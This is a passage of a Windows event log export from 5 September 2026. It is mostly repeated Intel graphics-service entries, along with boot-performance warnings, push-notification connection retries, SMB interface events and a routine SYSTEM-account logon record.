process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:36.287\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:36.477\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:36.633\t100\t\"Windows has started up: \n     Boot Duration\t\t:\t33329ms\n     IsDegradation\t\t:\tfalse\n     Incident Time (UTC)\t:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:48.027125300Z\"\tWarning\tMicrosoft-Windows-Diagnostics-Performance/Operational\tMicrosoft-Windows-Diagnostics-Performance\n05.09.2026 08:30:36.633\t101\t\"This application took longer than usual to start up, resulting in a performance degradation in the system startup process: \n     File Name\t\t:\tMsMpEng.exe\n     Friendly Name\t\t:\tAntimalware Service Executable\n     Version\t\t:\t4.18.26080.3 (9e1f3147fbc83f18a98a965394a23e07747d7295)\n     Total Time\t\t:\t6992ms\n     Degradation Time\t:\t1992ms\n     Incident Time (UTC)\t:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:48.027125300Z\"\tWarning\tMicrosoft-Windows-Diagnostics-Performance/Operational\tMicrosoft-Windows-Diagnostics-Performance\n05.09.2026 08:30:36.633\t101\t\"This application took longer than usual to start up, resulting in a performance degradation in the system startup process: \n     File Name\t\t:\tmsedgewebview2.exe\n     Friendly Name\t\t:\tMicrosoft Edge WebView2\n     Version\t\t:\t152.0.4191.62\n     Total Time\t\t:\t2717ms\n     Degradation Time\t:\t217ms\n     Incident Time (UTC)\t:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:48.027125300Z\"\tWarning\tMicrosoft-Windows-Diagnostics-Performance/Operational\tMicrosoft-Windows-Diagnostics-Performance\n05.09.2026 08:30:36.653\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:36.729\t110\tDiagnostic module {c8544339-5be9-4f25-862e-485f1b1a6935} (%SystemRoot%\\system32\\diagperf.dll) finished troubleshooting scenario {86432a0b-3c7d-4ddf-a89c-172faa90485d}, instance {1282433c-4545-40de-ba0f-f72608f6da4b}, original activity ID {86432a0b-3c7d-4ddf-a89c-172faa90485d}.  No resolution was set by the diagnostic module.\tInformation\tMicrosoft-Windows-Diagnosis-DPS/Operational\tMicrosoft-Windows-Diagnosis-DPS\n05.09.2026 08:30:36.920\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.081\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.184\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:37.184\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:37.190\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:37.190\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:37.238\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.407\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.588\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.749\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:37.916\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:38.184\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:38.367\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:38.634\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:38.794\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:38.944\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.102\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.265\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.432\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.590\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.747\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:39.908\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.068\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.220\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.393\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.559\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.723\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:40.882\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.039\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.200\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.355\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.524\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.693\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:41.870\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.040\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.189\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.446\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.605\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.768\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:42.933\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.091\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.258\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.415\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.571\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.747\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:43.909\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.101\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.263\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.426\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.584\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.753\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:44.913\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.088\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.243\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.507\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.670\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.828\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:45.967\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:45.967\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:45.967\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:45.973\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:45.991\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.150\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.304\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.479\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.644\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.808\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:46.964\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:47.121\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:47.289\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:47.451\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:47.721\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:47.923\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.090\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.243\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.407\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.567\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.727\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:48.885\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.046\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.208\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.305\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:30:49.371\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.638\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.790\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:49.948\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:50.139\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438* 10\nInterfaceIndex: 0xA\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:30:50.139\t1040\tReceived Mib notification type MibAddInstance for interface 10\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:30:50.139\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 10. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:30:50.178\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was 